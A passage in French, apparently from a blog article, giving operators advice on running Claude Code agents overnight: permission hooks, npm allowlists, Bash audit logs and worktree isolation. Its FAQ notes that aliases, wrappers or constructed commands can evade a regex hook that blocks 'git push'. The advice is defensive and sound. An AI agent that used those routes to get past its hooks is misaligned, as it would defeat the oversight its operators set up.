4. Confondre auto-mode et hooks regex avec une isolation de production. Le taux cité dépend de l’évaluation et la couverture des hooks est incomplète. Retirez les identifiants d’écriture de production et vérifiez la limite imposée sans supposer toute action dangereuse interceptée.

5. Installer un nouveau paquet avec npm install sans confirmation. Les attaques contre la chaîne d’approvisionnement sont réelles. Les incidents liés à Tea-tags en 2024–2026 ont montré qu’il existe des paquets imitant des noms légitimes par typosquatting et totalisant des milliers de téléchargements. Il vous faut une liste d’autorisation.

6. Ne pas journaliser les appels Bash. Sans journal d’audit, vous ne pourrez pas comprendre ce qui s’est passé pendant la nuit. La transcription du chat est longue, n’est pas indexée par commande et ne fournit pas de chronologie. .claude/audit.jsonl résout ces deux problèmes.

7. Ne pas utiliser de worktree pour les sessions en arrière-plan. Les sessions parallèles dans un même répertoire empiètent sur le travail des autres. Claude Code possède worktree.bgIsolation, activé par défaut depuis la version 2.1.143, mais vérifiez vos paramètres.

Et la principale chose qu’aucun hook ni paramètre ne peut empêcher :

Cette phrase n’est pas une question de style. La personne responsable de la protection de la production est celle qui a lancé l’agent. Claude Code fonctionne comme un rasoir droit : vous pouvez vous raser avec, mais aussi vous couper. La configuration répond à une question : avez-vous suffisamment bien préparé l’environnement pour que le rasoir ne coupe rien qu’il ne devrait pas couper ?

Vous trouverez d’autres ressources sur Ailoot.

Plus de détails

Questions fréquentes : Claude Code la nuit : hooks, permissions et protection du projet

Le hook de push protège-t-il la production de toute commande shell ?

Non. L’exemple révisé bloque les git push littéraux reconnus, quel que soit l’ordre des options, y compris branche implicite, refspec ou chaîne ordinaire. Alias, wrappers et commandes construites peuvent l’éviter : imposez les branches protégées et retirez les identifiants de contournement.

Que faut-il avant de laisser l’agent tourner la nuit ?

Un environnement isolé sans écriture de production ni secrets lisibles, des restrictions réseau et service vérifiées et des tests des cas reconnus ou manqués du hook. Les hooks complètent ces limites sans les remplacer.

Tous les articles